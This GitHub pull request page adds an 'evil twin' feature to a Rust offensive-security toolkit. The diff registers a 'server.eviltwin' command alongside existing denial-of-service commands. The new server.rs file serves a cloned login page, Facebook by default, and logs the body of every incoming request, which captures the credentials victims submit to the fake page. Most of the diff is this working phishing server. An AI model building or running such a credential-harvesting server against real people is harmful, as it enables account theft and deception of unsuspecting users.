Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature/eviltwin #74

Merged
merged 4 commits into from
Oct 9, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion snapcraft.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
name: witchcraft-cybersecurity
version: "0.18.2"
version: "0.18.7"
summary: Your OPSEC companion
description: |
**WITCH_CRAFT** is a versatile task automation software designed to serve as the foundation for various cybersecurity modules. It provides capabilities for tasks such as forensic research, OSINT (Open Source Intelligence), scanning, backup and copying, intrusion testing of applications and APIs, and more.
Expand Down
2 changes: 1 addition & 1 deletion witch_craft/Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[package]
name = "witch_craft"
version = "0.18.2"
version = "0.18.7"
edition = "2021"
readme = "README.md"
homepage = "https://github.com/cosmic-zip/witch_craft"
Expand Down
1 change: 1 addition & 0 deletions witch_craft/src/core/consts.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ pub const TONK: &str = "@@";
pub const SPLIT_II: &str = "--";
pub const SPLIT_I: &str = "-";
pub const DBPATH: &str = "/var/witch_craft/witch_spells/dataset/db.json";
pub const FSROOT: &str = "/var/witch_craft/witch_spells/";

pub const PATHS: &[(&str, &str)] = &[
("dataset", "./witch_spells/dataset/db.json"),
Expand Down
1 change: 1 addition & 0 deletions witch_craft/src/modules/network/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -2,3 +2,4 @@ pub mod ddos;
pub mod map_network;
pub mod network;
pub mod structs;
pub mod server;
2 changes: 2 additions & 0 deletions witch_craft/src/modules/network/network.rs
Original file line number Diff line number Diff line change
@@ -1,11 +1,13 @@
use crate::core::types::Closure;
use crate::modules::network::ddos::*;
use crate::modules::network::map_network::*;
use crate::modules::network::server::evil_server;

pub fn api() -> Closure {
vec![
("dos.longpw", dos_long_auth_span),
("dos.spam", dos_simple_get_span),
("map.dns", map_dns),
("server.eviltwin", evil_server),
]
}
52 changes: 52 additions & 0 deletions witch_craft/src/modules/network/server.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
use crate::core::consts::FSROOT;
use crate::core::core::*;
use std::fs;
use std::io::{Read, Write};
use std::net::{TcpListener, TcpStream};

fn handle_client(mut stream: TcpStream, file_path: &str) {
let mut buffer = [0; 8192];
stream.read(&mut buffer).unwrap();

let mut path = file_path;
if file_path.is_empty() {
path = "/var/witch_craft/witch_spells/evilpages/facebook/facebook.html";
}

let index = fs::read_to_string(path).unwrap_or("Index file not found".to_string());

let request = String::from_utf8_lossy(&buffer);
let body = request.split("\r\n\r\n").nth(1).unwrap_or("");
println!("Request: {}", &body);

let response = if request.starts_with("GET / HTTP/1.1") {
"HTTP/1.1 200 OK\r\n\r\n@@HTML".replace("@@HTML", &index)
} else if request.starts_with("POST / HTTP/1.1") {
"HTTP/1.1 200 OK\r\n\r\n@@HTML".replace("@@HTML", &index)
} else {
"HTTP/1.1 404 NOT FOUND\r\n\r\n@@HTML".replace("@@HTML", &index)
};

stream.write(response.as_bytes()).unwrap();
stream.flush().unwrap();
}

pub fn evil_server(argsv: &[String]) -> i32 {
let addrr = search_value("addrr", argsv);
let file_path = search_key("path", argsv);
let listener = TcpListener::bind(&addrr).unwrap();
println!("{}", format!("Listening on {}", &addrr));

for stream in listener.incoming() {
match stream {
Ok(stream) => {
handle_client(stream, &file_path);
}
Err(e) => {
eprintln!("Error accepting connection: {}", e);
}
}
}

return 0;
}
Loading
Loading